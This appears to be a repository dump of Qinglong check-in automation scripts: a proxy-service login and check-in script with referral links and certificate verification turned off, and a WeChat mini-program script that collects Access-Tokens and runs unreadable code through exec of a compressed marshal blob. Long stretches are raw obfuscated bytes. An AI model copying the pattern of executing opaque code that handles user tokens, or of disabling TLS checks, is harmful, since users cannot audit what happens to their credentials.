9b\xd1y\xfaF\x00\x84\x1e\xf0\xb0\x97\xe6\xe8\xbd\x86\xc6\xf0e\xc3&\xd6\xb3\x04\x11A\xe7\x9e\xc6p\x98\xba#H\xa6\xa9\x9d\x8d\x8e\x18\nm\x1c\xf0\x02\xe7\xe8dOw\x13\xa0\xfc1\x04x\xd7G\x1b\x91\xeeH\xb9\\\xc1U1G\t\xe0\xc2\xe4\xd1\xf1\x01h\x8f\xeeW8\xf8\xdc\xeb\x92\x18R\xe1\x7f\xcd\x9fuK\xf5\xc9o\xdfp2|\x0ey\xb5l\n\xb0U\x02\xc3!\x14\xefa\xae=\x1c\xc4]\xde\x8a\xf5\xc4\x98\xcb\xcc\xcf\xb1\x12w\xcc\xcdL\xf1g=\xae6\xad:7\xa4\x80\xb2\xaf\x15R\xbc\xdd^&\xbd8@\x8d\xf24uw\xb2\x14\xa4\x86\x90s\x9d\x92\x89\\\xc8\xa6\xf5\x98\x9c\xfa\x99v\xe9\xdd\xd2y+ \x07\x86l1\xcc\x07\xf13U\xa3mtT\xa1|\x8dC-\xa8\x86|\xa8D-\xa4 ^\x87\xb1\x86\x1b\xaa\r1\xc2\xf6l\x1c\xe7\xd7pP\x1f\x8c\x1c\x17o+D\x06\xd9,\xc2\x8f\xccH(\xc9=\x93\xe1h\xa4\x10\x08\xc8\x91\xa4\xe6bl\xf5E\xaf\x9bE\xad\x83\x93\xf8E\xe6\x03\xdf\xb6\x9dy\xa7tgV\x04\xe8\xe8xJ\xb3\xdf\xa3\x9aT\x7f<\xa9\xf4e9\xb3\xf9\xaa\xfc\x99I\x08W\xee\xdf\xfa\xbf\xcf\x06\xb2T\\\xfa\xeb\xa0v\xd4\xd6\xbfv\x11\x10\xa3\x12f\x17\xa8\xbb\r(\x15c!Q\x00\xc1\xbd\xc0H$\xe9PK\x07\xa1\x18_\x16\x07\xa4T\x05\xfd\x88.\xd6\xc5\xff$\xda\xc1(\t\x15\xe7\xbap\xd3{J\xad\x0e\xaa\xa66R\x9d\xb6v\xef\xb4\xb1\x12"d\x9d\xdb*\xa7\xb2EB\x9ej\xf5W([\xa7\xfdl\xc8\xbc\xa9\xbf\xb9S\x04x T\x16\xce9\xf40\xda\xf6!\x08N\x9c\xee\xdd\xfb@\xd4v\xcf\x00m\x99\xf4\xd9\xd3:b\x1d\xed\xa8\x0eWP\xa1\x08>jeQ\xbe\xc7\xb2\xfa\x16\x8b9\xbd0V)-\x04D]\xc4_\x17\xc9\xc2\xbe\xee+\x90\xbc}\xb0q\x1b7\xca\xb6\x03\x8c\xa5\x9dw\xe3Q\xf9\xa0}\x7f2\xa8\x0e\xd6x-%\xd0\x19\xabiK\xec\xed;~\xcaZ\x9d\xcb\x0e\x7f\xbe0I\xfb\xc6;>S\xb3\xae\x11\xaa\xc2g\xae\xf7!\x1c&\x11@\xc4Hb\xe6\xbe\xebwUx\x1a\x1f\x9e\xa5a\xf7A\x80[\xfb\xdc\x93d\xd6\\\xb1\x92\xc2TO:j\x03R/\x91\xd1g\xb6\xc1\xeb\xff\x92\xe2\xa4\xb9\xdd\xbe*C}\x0bP\xb5[\xf2`\r\xd8\x10\xfbd\xaaT:\xb1\x06\xc4\xfa\x8cU\xc1\x01\xb6\x1d54\xc5\xdaC\x9fw\x9b@\x1c\xc3\xbb\xf5\x0b:]\x95\xd8\xbaA\xec\x85\xff\xedT\xb0\x1f\x91\xc0\xb4\x10\xdf\r\x01X\x18\xb1\x96\xf5\xca[\x92.\xfa!\x920\xd8\x10\xdb\xd0u\xe4W\'q\xc3P\xad]\xf9%\xb5P)\xa6\xcew.,\x80\xd5\xcd\xe5\xf9\xc1\x06\x11\x8c\xed\x0c`\x9e\xe1\xb1w>\xd2]\r\xfe\x9a\xe8\x11\x86;\x83\xb6\xd2b7\x17\x1e\x18\xe7N$\x99\x10\xfd5\x8f\xe7?\x19DFm\x05y8\xcb\n\x90[(\x95\xfc811< T\xe0U\x93B\xeb3c\x93\x83\x19f\x06\x18G\x19\x1ak\xac(<\x8c-\xc5\xe6\xfa\x00\xe4\xfe\xe9c<\xae\xf0\xe5\x16\x80\xf4\x9c\xdcOO\xca,\xc1\xb4+\xbb\x99\x9e\x85\xa5\x8ah\xccC\xbd\xa5]\xae.\xdb\x04\xc6)\xe8,7\x18,A\xbc{:_\xeaZ\xd7\x8ad2\xee\xcb\x82[r\xb7\x1e\x83\xf8\x7f^\xef\x89\x01\xb66\xaa1\xb5(=\xbb\xff\xf6\xcb\xefw\xa3\xd4J\xe9\x8a\x06\xe0\xf6\x1e\xc4M\x83\x06\xd6\x18\xfd\xfe\t\x97\xd3@\xc5\xe6o\xad\xd5\x969\xcc)\xdelX\x99\xb6H\xbdM$\xac\x1e\xbd\xed\x03!@}\x1f\x8a\xcd%\x94<\x1c7\xe2\x0c,\xd3\xc5\xe8\xe9r\xe7\x16\xba\xe6g\x0e;\xd1j\'\xb3\x00\xb1eq\x18\xa8\x1a*\x9e\xb2\xe6\xd0\x0c\x85\x166\xe7\xb1\x08\x86GAb\x97/\x17\x05\x00*\x0e\x11M\xbd`\x99\xf2\xe7\x90[\xf2Z#\xf69\xff\x16\x86\xa6j\x85\xa7\x96\xdbc\xcb\x10j\xc2\xc643\xdb3\x8a%\xa4\x95\x1f\x9f\x9aO\xcb\xe3U\x16X\xfc\x9f+\xb9\xfa\xdf\xda\xa5\xe3\xad\x00\xdc\xaf\x96\xaa\xe9\xb9\xdc^b\xc5\x83\x8eB\xa1(Y\x17\xeb$\x93\xc6\x13\xef6\xb5\x00+u\xa6\xb5\x87\xfd\x10]q\x93U\x04*\x03\x07\x9fV\xdc\xe1\x89\xfbRI\xec\xffS\xe3\xbd>%\xc4/\xd2\x10\x00\x0b\xba[7Mv{W.=\x03\x03\xbb\x07\xba\xe2\n\xbb\xc4^\xd2\xf4U^\x14\x94\xc3\x14\x16\xdf\x84\x82\xc0`\x97]\x15\x06\xae\xd6\xd6*\x12\x9b\xb3U\xf7x\xad\xb8\xdd\x01E\x838\xefC\x91q\xf7\xce\xb5\x8c`\xeeR"\x8f\xef\xa2Q\xe7\xa9\x19[\xa3\x889\x95;\x8d}\xbc\xf4Gh\xae\x9a\xe4\xca\xaf\x17n\t\x92\xfet\xbd\xc5\xb2r\xa3\xcf\xc4Z\xe3\xb4\xcd\x9e!]\xa4\xf7)\x90O\xc2\x0b\xde\x89\x0c\x8dZ\x01\x08T!\x02|E\xb8\xce\x1f\xc2V\xaaN\x01\\\x89\xabu\x963Q\xe9\xf9Rb\x84\x08\x19\xe4\xb67\xa3\xab\xfc\xf3\x1b\x99B\xfd\x08\xd0w=\xbb\x8a\x88#\xad\x91\xb5a\xbd]\xfa\x0f\x86\x8eY\x12\xb3\xe2"\xbbq\x89& \xe4 {\xb3\xfc\x1f\x15\xba\xda\x9d,\xd0\xef\x9c;\xc9\x9f\xb9qY\xc6\xa4x!\n4\xa1IP\x02\x88\x92L\xbb\xd1\x9c\xca\x1d\x0f\x17\x18f*\x99\x10\xdf\xcf[\x87\n\x84\x8dq\xee\xca\x8e,\n\xd2\xcdb\xa8>\xd4\x9a\x89\xb8\xd5\xdb\xf0\x1b\xef\x02b\xb0L\xb0\xdd\x9b\xcfx\x9etr\x8a\x02\xc1\xdd\x12\x18j~\x0f\xa6\xa7\xdfQx&\xc9\x8e\x01r\xcfi\xf8\x9b\xa14\x97\xa3\x9c\xe6\x86\x9e1B\xd4\x01\xc7/\xd9\xa3\x18j\xd5^x\xdc\xa4=\xb6t\xba\xc7C\xad\x9c!l\xc0\x89\x8d\xd4\x90M:,\xe9\xe2\x93\x9e \n\xd27i\x9a\xbc\xe6\xa9\x94\xf6pe\xe7\xf0\xe6\xc1\x8d\x96d\x032\xbd\x03\xea\x11\xaaN\xf1]\x9aXz\xaf\xcf\xfc*\xf2\x04\x82\xf2/\x18\x91\x87?s8S\xa0\x85\n:\xc42\xdaV`}v\x04\xdc\x06\x83\xea9.i\x90\xcf\x8bE\x94\xfb\xad\x88\x17\x05\xf9\x9epT\x8e\xf7\xb4Z\xa5$\xc1\xf9@\xdd`T[r\xb3\xbe\xb6\n\xc8Ae~\x16\xb8K\xb3\xdb\xcd\xe3iE\x9f\xf6r\x16\xbe\xca\x86\x84\xaf:\xd9\xba\xae\x10\x04\xac\x83T\xefx\xe9\xec\xf8v@S\x92e\x97F\xf5"\x950\xbcb\xcd\x0e\xb8\xa0\xac?\x90\xa6\x97\xb7-9\xe9\xd0\xc8"\xb8\x02\x86\x11\x18\xcb\x03\xcd\x9d-\x98#;\xa8%\xbf\xb4\x08\xb4%\xac\xcb\x7f@\xef\xdf\xc8O\xe5\x08\x11\xfbU\xae[\xc3 \xe6@\xd8.\xa2:}\xc6\x1f9i\x1e@\\tq\xeb\x97\xba\xb3\x1b\x84\x85\xe1\x15+\x939\xab\x9d\x03\xd8x/\x16\x11|\xe5\xc0\xc0\x8d\xf5>\xccUc#\x98\xc6:\xef\x84L\xc0\xb3\x8c[?,\xed\x9c\xf0}\x04\xa2\xb1\xdb\x00\xe7\xbc@J5$Y\\\x1e\xca\xfd\xca\xe2\xd0j\x03\x03{\x9b\xbe\x8d\xd1\\\x94\xe6\x9c\x0c\xe2\xe3\xed\xf1\x0f\x97e\xd3\xcf\x1f\xf6F\xfb\x1b\xca\xc3:l\x8dG\\$%\xee\xfcA\xfc\x1d~t\xfce\xe6\xdc3\x18\xb6\x1e\xf8\xc7j\xbd\x04\xa3:\xfc\xb2r\x04HJ@\xf1\x0e\x10"\xca"WI \x118\xf4}u/n\xed\xe6\x042\x01\x01,\xc5=\xfc\xcdn\xdd\x0b3\x12\x83\xd1(\xb0\xde\xdc$\x96\xca\xeb>v\xba\x0b\xb7* ^0j\xef\x0c\x13B\x9d\xb4\xd9\xb6\r*\x8f\xc6w\xca\x8fxF\xef;\xfcO\xdev\x9b[\xe1\xbe\xa6\xab\x02\x84\x1e\x1a\x00\xbe0%\x84A\x9ei@j\x97\xd9\x1b\xd3\xb4\xc1)\x99\x01Y\x87S\xc2\\\x19\xdd\x9d\xcb\xa2\xb79Jz\xb3\x03gb\xd6}c\xd5\xdc\x1c\x86\xc3f\xfd\x02J\xe8__\xdePk\xc1a\xb7#\xcc\xa1\xc5L\xf09\x96\x9f\xea"\xa2\xb9++i\xca#xo.\xd3\xd1\xf2\xe2ikc\xc7\xb2\x9e\xa1r\xa7\xd9\xd5\xd4C\x95j\xc8\xe0\xfac\xad\x9a`o\xe1\x89\xffw\x88\x123\xe78zL\xf16[2gKHt\x1a\xc7\x1a\x90g\xf3\xf1\xf4+\x88\'\x12\x8et5\xd1cA\x07%^N\x1a\xd3d\x8b\t\xd1\x89\x8c\xa4UK8a\xac\xb6\x90\x8b\x04\x81.\xc8T>\x9e\xe0\xd4\x17\x11\xc5\xcf|\x85\x0cn\xf2\xd3\x82/u\x08\x16\x89\x014{$\xecP\x01\xc7\x8b\x17\x9es\xc1\xf3\x1b\x89\xd5y\xf7\xd9\xbc*4\xa5?\x8b\x85n\xbb+t\xb3~\x04P\x8c\x08|S\x90\xc9\xb5\x82\xa1\xbd\x1e\x858==d\xfe\x8c\x98\xf9X,\x11\x06\xbd\xce\xdc\x0e\xad\xc9m\'\x06\xe3\xc6\x13\xb6U\xc0;NT\x11\xbd\x90+ n\xd4\x11m\x15\xcfI_\x19\xc7\xd5\xbf/\xde\xbc/\xf970\x1c(F\x9di\xb6\x04\xfc\x90w\x1e0\x96Y\x9a\xe3\x7f\x96\xc5\xf5\xe5d.\x13h\xe6q\xab\xf6\x82R\x06\x81_\xb0\x1dq\xc3!>ojghDS\xad?\xc8\xf6\x12\xa5y\xf9\xaa\x06\xc9\x91}\x14\xf9D\xc48\xc0\x1eq\'|k\xbf\xae5\x14\x809\xe73g\xe7\xf4\xff\xceEH\xe4\x84\x0e\x81\xfe\x13\x1b\xbc\xd5%\x96\xab\xa6\xfa\xb4LM\xfb\x92.\xe0y\xbeS\xdc\xb8\xcd\xa4\x9f*\xc0\x89=\x8e\xf3\x9a\xdf\xd1\x0e\xd5QU+\xf2\x05\x01#\x97\xf1R\x14\xbc\xae\x18;\x99\xa6\x17\x15\xf6\x86X\x1f\x91\xb1\x01/bO\x85A\xd0\x12\n\xb5\x7f\xf5\x95\xd0\xde\xb3\xf4\xf8\xa0\x86\x92\xc9\xe8.\x99&\xf7\x12\xb7\xeb?\xc5\r\x9d\xe6\x8c{HK\xa9\x8f\x9cL\xb7\x82\xff\xe6F=_G\x80\xe1\xb6s\x89\xa6\xc2d\xed*\x96\xb3\xd6\xe8\xafTk"\xfa\xa0\xa5\xfe\xc0W\xed\xb6\x0e\xd9W\xee\xea\x8d\xfb\x12\x05z\xb5\xb8\xcf\xa1\x13;\x00VL\xba$\x89\xe8\xa8\xe82\x81\x1eR\x9e\xaad\xf0\xeci*\xa7z\xb7K5\xed\x9a\xa0\xef\x14p\xdc\xff\x84\x99\x89C\xf3\xd9L@`\xf7\xea\xe3e\x17\xb9\x8a#\x0f\x9eqD\x94\xe2\xfec\x01\xc1\xe8P\xa7\x82\xcb\xfe\xd3\x89s\xdf`\xf7(\x1c7<\n\x92\x84\xc1\'\xe1\x86\xc0\x0f2+\xcc\x88\xec\xe6\x0b\xec\xf3\xd3\r\x8e|Y\xfe\xff\xefK\x14\xc7\x9eH%\x12[\xf3\xd4\xc0V;\x11\x8f\x94\xa5\x13g\xb7\xe5.\xff\xfc}\xa1S\xe3\xdf\x0c\xd3P\xef\x1e\x18\x06\x18o\xad\x04I\xb0\n\x18C?X\x93k\xe7E\xfaU\xcf\x99:\xcb9\x82\xb0\x11\xfa.]@\xc6:\xf2\x9b\x0b\xbb\x83Z#\xe7\xf7\xe5\x1b\xd3\xdb\xe4e\x964\xaf\x85.\xce\x1a\x90 \xe7,\x94\xcd\x7f%u^\'\xe1\xbe\xd3\xcb\xd7\x83\xcc\xfb\xe9\x89\xe3\xe7`\x11\x1d&>\xf7\x94\xdf\xbb\xc4\xfe\x10M\xb5\x11\x9c\xe3\x98\xa7\xd8p^\xd4\xe0\x15\xd5\xd7\xa2\x14\xe5\xdb\xda2\xdf\xf7\xf9\x91/\xeaa.\xfb\xd2x\xfc\x9b \xf3\xbc\xd8\xe6\x9d\xbcr54\xb7\xd1\xe4U\xb3\x86\x80I\xb3#\xcccE\xb82\xb7F\x14\x19\xfe\x8aw\xd5~\xac\xfaI\x98aH\xb1f\xaa\xb3\xb3\x7fl\xfa\xadA\xc2z\x9cz\xae\x90$\xd0qF\xc5\xcf\xab\x05\x08Bx\xa0\xa7\xdca\x03FJ\x07\xbe\xd1(\xc7\xcd^rU\x04\x03\xdf}\xb0\x1a\xc1&\x96\x1f\x16Si\xd1\xc7\xd7\xc2\x0b\xa4y\xbb\xad\xb1\xfc\xd7\xce\x8eh\xf7]\xa4Q\xb7\x13^u\\\xae\x88\xd4\xb0\xd8\xe6\xa9?\x1a<\xcb\x1a=\xf4c`\xee\x9d\xc4\xfc\xe7*\x1bz3M\xeb\ri\xe8\xbcp\x80\x99\xdf\xfe\x7f\xd1_z\r\xb0c\x97\tj&\x15\xc3\xf15\xe7A\'\x9bp\xad\xdfI\x08M\xa2\xaeu\xa1\xe4\x14*\x0e*>\x05\x0f<+\x05u~\xe1\xea\xe5\xfd<%\x15;&>&\xa1F\xabN\xba\xb1\xdfF\xb1\x8d0\xcb\x1d\xb3PL\x08\xa5)\xfd\xb7C>6v\x00S7\xc1\xb1\x1dE5\xc3SG\xce\xe6\xfc\x02\xeb\xcb\x07\xca\xeeP\xf0\xff]\x06Scr\xf6\xa3;6\xa6\x90m\x89A^\xbc\xef\x17\x0b\xfc\xb7\xbfP\xf4\x8b\xc3l\xe8\xee\xfa\xe3Q\x86\xf2O\xceT3~1h4x\xe3\xd3#\xf5\xca+\xd9\xbe4B=w\x97\x1a_\x16\x06\x8d\xb6+jc\x06,\x1a\xd1\xd3\xcd\xc7.\x1a\xfe\xd6!z\xfe\xda\xda\xb3\xae\xd3\xa8z\xa6X\xda\xf4\xfa.yJ\xaa\xc8\x8f\xb4\xc2\xb53\x82\xbf6;g\xee\x97\xef\x86g\xaek\xb1\xb3\x1f\xc7\xaa\xf7\x9b!\xd1\x18u\x03]\xd6[\x03\x89\xb2\xc5\r \x0eVH\xaf\x8a!\x13\xa2l\x00\x87m\xb3~\x85\x89\x9dO?\xe7]\x9f(\n^ \x92\x95\xc2\xa7\xae\r\x92\x88\x92\xf31\x02z\xcc\xc2\x9a\x13b\x8a\xc7\r}@\xdf\x03\x8e U{\x04\xa6z_\xdb\x1b\xa0\xef\xf0\x80\xfc\xb9\x90\xf8U?\x0f\xc9\x17}\xd2\xf04\xf4T\'\x1e#\xd0\x169r\xc6b\x99\xb0\xd4\xcd^\x9f\x9d\xc2\xc4\xc2\xd7\xe5\xc2\xc0\xa4y\xad\x93\xfb\x81\xaa}\xf2j\xef\xbby\x1f\xa76\xf9\xb9\xdf\xdf\xaf\xce"\x92\xbc\xde3\xd7\xd2\x16\xad!_\xfe]&\xc7\xaa\xde@\xb6\xe9\x91\x8e\x0f\xc5A\xf5\xcb\x85\xe0(\xb0\xea\x1f\xd5\xaa\xfc1\xb7\xe3\x15\x89\xc4\xa6.-\xbf\xa8D\x05f\x85\xd6\x19;C/\x06a\x9cZ\x91F\x1eP\xe4\xa4\x85\x1c\xc7Bj\x12T\xe5\xc7^\xa9\x12\xb8\x9d\xb1\x9f\xb6s\xac\xcbR\xdd\xb6\xd2\xb4\xa6!\x18\xe2\xed\x97B\xbb\xcb[\xbd\xa85d\x86\x1ct,\x1b\xaa4\xc8\x16\xa4]W\x11\xe4\x00?x\xc6\xbf\xb2exI\xfe\xa3\xa7\x8d\x1bh\x12M\x8e\xfd\xf4\x1f\xd2\xef\x9e\xb2\xc5\x94\xba,w8\x07\x11C\xcd\xb3\x86U\x0bv\x10\ru>@\x16!\xf4\x0c\x87\xc3\xb0\xf9\xb4_&\xa4\x86eK1\xa9\x15\xbe\n\x0e\x04\xc7\x86c\xc0W\x1b\xed\xa4|c\xa5\xd6Q\x02\xc3\xdcBf\x973\xb4Wj7\x8b\xdd\xa0\x0es\xf8g\xa5=\x19H}\x85J\x0f\xe9\xc9\x90\xf9\x94\xa1\x8c\x0c\xffV\xa2LwF\xf8\x11 F\x18\xdf9Z\xc8\xdd\x80&[\x0e\xefM\xb3\xd65\xb5\x02)\xf9\xb3\xec^\x94\xc8<"\xca\x90DX\xb4\x11\x81\xf2;/S~jy\x05s\\\x0el\xf9\xc4\xdf\xa2\xd8\x19\xb5\x8f0\xe1\xfcQ\x06LN3\xca\x89\x90t\x98:^x \x99\x8d\xef%\xc7\xc01F=_\xf3\x11\x7f\x86\xf0\xea\xc65\xfbr\x91`\xf2\x99\x07\x82\xd290\xaaFY\xf4\xed\x8ckA{\xaa\xfd\x02A0\r\x14\xe3w\x1b\xf0\xa0\x04\xbb<\x10\xdaEf]m\xe9\xcd\xc1\x90\xd6\x02\xe9\xe4\xe2t\nO\xbdnz\xbby\x85\x8e\xfed~E\xc96\xff\xea,C\xd4\nN\xb3\x80\xd2\xc2\xd4H\xc41\x00\xdd+v!\x17(+R\x80\x96\xd9\xde\xd4\x11\x0e1\x1c\xacZ\x8d\xa5\xb3\x00\x00\x00\x00b\xa2{\xc6\xff\xe7\xf3=\x00\x01\x9e;\xbd<\x00\x00\xca\xa0\xa1\xf0\xb1\xc4g\xfb\x02\x00\x00\x00\x00\x04YZ)\t\xda\x07marshal\xda\x04lzma\xda\x04gzip\xda\x03bz2\xda\x08binascii\xda\x04zlib\xda\x04exec\xda\x05loads\xda\ndecompress\xa9\x00r\n\x00\x00\x00r\n\x00\x00\x00\xfa\nPy-Fuscate\xda\x08\x01\x00\x00\x00s\x02\x00\x00\x00H\x00\xda\x16I=\xa9\x1e\x00\x00'))) 23 | except KeyboardInterrupt: 24 | exit() -------------------------------------------------------------------------------- /jcqd.py: -------------------------------------------------------------------------------- 1 | ''' 2 | ikuuu + v2free + gw树洞 3 | 4 | v2free注册地址: https://w1.v2free.top/auth/register?code=O9dv 5 | ikuuu注册地址: https://ikuuu.art/auth/register?code=OlHp 6 | gw树洞注册地址: https://kkone.io/auth/register?code=4fMxiN 7 | 8 | 两个的用户名和密码都请设置一致的 不一致的话请自行修改代码 9 | 10 | 变量配置: 11 | export jcuname='username' 12 | export jcpasswd='password' 13 | 14 | 需要安装 lxml 依赖: 15 | 1.进入容器pip install lxml 16 | 2.青龙面板 -> 依赖管理 -> python -> lxml 17 | ''' 18 | 19 | import requests, json, os, random,urllib3 20 | from lxml import etree 21 | from notify import send 22 | import urllib3 23 | 24 | # 禁用 InsecureRequestWarning 警告 25 | urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) 26 | 27 | # 发起请求时忽略证书验证警告 28 | requests.packages.urllib3.disable_warnings() 29 | 30 | 31 | 32 | def v2checkin(): 33 | print('==========[当前正在进行v2free签到]==========') 34 | url = 'https://w1.v2free.top' 35 | login_url = '{}/auth/login'.format(url) 36 | check_url = '{}/user/checkin'.format(url) 37 | header = { 38 | 'origin': url, 39 | 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36' 40 | } 41 | data = { 42 | 'email': EMAIL, 43 | 'passwd': PASSWD 44 | } 45 | response = json.loads(session.post(url=login_url, headers=header, data=data, verify=False).text) 46 | # 进行签到 47 | result = json.loads(session.post(url=check_url, headers=header, verify=False).text) 48 | content = result['msg'] 49 | print('v2free' + content) 50 | send('v2free', content) 51 | 52 | def get_ik_domain(): 53 | url = 'https://ikuuu.club/' 54 | header = { 55 | 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36' 56 | } 57 | try: 58 | res = requests.get(url, headers=header) 59 | if res.status_code == 200: 60 | textname = etree.HTML(res.text) 61 | links = textname.xpath('//a/@href') 62 | return links 63 | else: 64 | print('ikuuu获取签到域名失败!') 65 | exit(1) 66 | except Exception as e: 67 | print(e) 68 | 69 | def checkin(): 70 | print('==========[当前正在进行ikuuu签到]==========') 71 | url = random.choice(get_ik_domain()) 72 | print('当前签到选择的域名是: ====> {}'.format(url)) 73 | login_url = '{}/auth/login'.format(url) 74 | check_url = '{}/user/checkin'.format(url) 75 | header = { 76 | 'origin': url, 77 | 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36' 78 | } 79 | data = { 80 | 'email': EMAIL, 81 | 'passwd': PASSWD 82 | } 83 | response = json.loads(session.post(url=login_url, headers=header, data=data).text) 84 | # 进行签到 85 | result = json.loads(session.post(url=check_url, headers=header).text) 86 | content = result['msg'] 87 | print('ikuuu' + content) 88 | send('ikuuu', content) 89 | 90 | def sign_in(email, passwd): 91 | print('==========[当前正在进行gw树洞签到]==========') 92 | body = {"email" : email,"passwd" : passwd,} 93 | headers = {'user-agent':'Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1'} 94 | resp = requests.session() 95 | resp.post(f'https://m.mmomm.io/auth/login', headers=headers, data=body, verify=False) 96 | ss = resp.post(f'https://m.mmomm.io/user/checkin').json() 97 | if 'msg' in ss: 98 | print(ss['msg']) 99 | print('gw树洞' + ss['msg']) 100 | send('gw树洞', ss['msg']) 101 | 102 | if __name__ == "__main__": 103 | session = requests.session() 104 | # ikuuu用户名 105 | EMAIL = os.getenv('jcuname') 106 | # ikuuu密码 107 | PASSWD = os.getenv('jcpasswd') 108 | # v2Free 109 | # v2checkin() 110 | # ikuuu 111 | checkin() 112 | # gw树洞 113 | # sign_in(EMAIL, PASSWD) 114 | -------------------------------------------------------------------------------- /jingyoujia/Sign.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Rookie-wb-WH/ql_scripts/08e5c06461c4a0112ea3735f48fe671734bb7707/jingyoujia/Sign.jpg -------------------------------------------------------------------------------- /jissbon.py: -------------------------------------------------------------------------------- 1 | ''' 2 | vx小程序 -- 杰士邦安心福利社 3 | 抓包 vip.ixiliu.cn 下的 Access-Token 4 | export jsbaxfls='Access-Token1#Access-Token2' 5 | cron: 9 9 * * * 6 | 已完成 签到,分享任务 7 | ''' 8 | 9 | import sys 10 | vesion = sys.version.split(' ')[0] 11 | if vesion.split('.')[1] == "10": 12 | print(f'你当前的python版本为 {vesion},即将运行脚本...') 13 | else: 14 | print(f'你当前的python版本为 {vesion},运行所需脚本环境为 3.10.x, 即将退出运行脚本...') 15 | exit(1) 16 | 17 | try: 18 | import marshal,lzma,gzip,bz2,binascii,zlib;exec(marshal.loads(lzma.decompress(b'\xfd7zXZ\x00\x00\x04\xe6\xd6\xb4F\x02\x00!\x01\x16\x00\x00\x00t/\xe5\xa3\xe0\x1f\xa0\x1e\xca]\x001\x802\xa0hC"m;\xa5S\x08\\\xd8\xf7\x17\xa0\x87@\x96\xe0\xf8\xe5/9\xf0\xa2\x10\xfd\xbeM\xf9\x12\xa5\xc3\xaf\xd6\x9b\xa7\x98\x82\xb06\xb0Z\x19\xca*\xc9g+\'\x97\xd6\x03z\xf7L\xd5ft\x07\t\x8c\xbb1\xb6\xb4\xe5KKuh\xa6v\xfbI\xa4\xc1\x81)\x92\xe9\xca\xbe\xf5\x90\xbb@\xa8guD\xae\x9a\xc5\xf4\xe1t\xbe\x08G\x11#\x91\x9a\x82\xc1\xdc\x8c\x86\xbb4\x89\xef.Ah{*\xcb\xa2\x1e\x0e\xa3\x9aI\xdc\\!A\x83\x85?\xd8\xc5i\xb2\xeaD\xf1\xd2\xb6\xdbCQ\xe0\xda\xf4\xe9jt\xd4\x0c\xde)\xbe6a\xe0\x1e\x07/d4\xb5\xd7\xd2\xfcK\xe5\xb6\xa7Z\xfb\x1e&\xc2\xb7\x90\x0c\xdf\xdb\xc3]\xc7l\xbe\xdb\xda@yk\xb6\xe3\x17\x95\x91\x0c\xbf\xc3\xe6\x841\xf31\xc9\x16\x88\xef\x9a\xb5\x90>sE~\xc5\xa0:\x9b\x8d\xf9\xe8\xc5j\x84\xd5M|\xb92\xea\x93\xbc0\x87<:~\xeeC\xb6\xd1X\xf5p\xfd\x97Q\xcc\xc2\xaaa#\xf6-\x0b\x94"\xfe\n\xf3\x15\x07\x1e\xa4L\x93N\xe8B{\x9a\x97)\xb2\x07\xcc\xae"\xbb\x03_E\xf6\xfb\x93\x0c\xf9\xc4\xd4\xdf\xff\xeed\xa57L<\x1e9Pl\x17\xb9\x10\x8a1&J\xac1\xcd\xb7\xee\xeb\xd2Y\xac3b\xa0\x05\xdc\xe93;P\x11\xbcI\xd0\x80\xf2\xbfC\x13\xc2a\xef\xe0\x93u\x7fa\x96V3\xa4y\xc1\xcd\xb1\x80\xf0\xaeCX4\x80\xe4\xd6\xd2h\x82C\x1fx\xe4n\xbc\xc2)\x12\x03\x1c\x80Ck\xec;\x94\xc4H\xdb\x86K\x19\xe5\xa6%\x02\xf5\xdd&\xda\x18X\xf7\xc0\xaf\xb8\xf9\x16\xa9\xd4\xa9\xfe\xa9\xfb\x9a\xfa\xc5\xedz\x9aA\xca\xef\xe9\x08\x84]e\x8e\xe8|p\xce\xbe\xf9{\x93$\xa9\x11\x1fE\x91\xf3s\xd0;\x86\xa8,\xc0\xdc\xf2\x81\x96\x8aO\x06\x8b\xae\x19\xde\xc2#\xb1k\xab\xe48\xba\x91av\x0e\x8d\xf9\x84I\xdb(\x13\xce\x9e%g\xf0\x04t`\xd5\x8eV\xe9\x87\xb9\x18J\xf1\xd1YX\xa9\x9b\xb6l\xbf\x99\x12M.\xf5\xf1\xcf\xc0\xc8\xe2\xf72\xf9\x10E|\x00\x8b\x0e\xb2\x1c\xff6HU\x17\x9d-\xd7J\xba\xf61\x08\xc1\xd8\xd9\xa8\t\t\xadJB\x93\xc8i\xc4SX\xc9\x83|%\xad\xb8]\x95\x81!\xec\x81w\xb6\x02.\xc2\xd7*H\xd4\xe6\x18\x9dC \x19}\x9c\x03\xfa\x1c\xf5\x96\\\x85\xf6\xa2\xebK\xb8w-z\xd7\x8e\x7fx\xe2\x07\xa9L\xd9\xd3\xe5D\xf1#\x93i\x0e,\xbcvd\xe2\xe9Z\x81{\xfd\x17\xa7\x91\'\xff\xa3m\xf3v\xabD\xe4\xebjEY1T}Y\xcf\xf5z}`\x00\x96N3\x8by\xa9AT\x8c\x01\xe3\xe0\xcd\x16\x11\xde\xfbq\x18\xac\xf6\r\xa7\xa9\x99\x1e\x13MO\x1bO\x1ci%\xbb\x93n\x88} 2S\xc5\xd6\xac\x9a\x9d)d\x8a\xf7\xd1h\xf0_\'~\x87\x9a\xdf\x9c2\xf5F\xef\x16\x11\x07b5\xb9XS\xeaQ\xf18>\x88"\x8b^Pe\xd2KbI\x01\x92P\xfa*\x82oi_\x12\xab\x8e\x84\xb8\x11OO[m/\xbe8@7\xa5\xd9\xda\x9ec\x90\x07\xc86\xcd\x97\xdd\xe6\x84\x8c\xd5\xecl\xdd\xd3.U\xc5\xe1N\xa4;\xbe\xae\x7f\x90#\xb7\x9a\xb9\x0c\x1aP\x89\xd6$\x1fZ\xd7?\x06\x93T{\xcb52\xd7\x151\xc0\xddx\xceRd\x86(\xea#.y\xf5\xb24\xf3Mw\\\xa7\x1c6H\x01\xc4\x08\xf7Q\xa5\x08\xf0,?v\xea\x04Y<\xaf\xc0H\x05*\xa58\x15((\xab\xe85\x11\x14pt\xe5\xc3 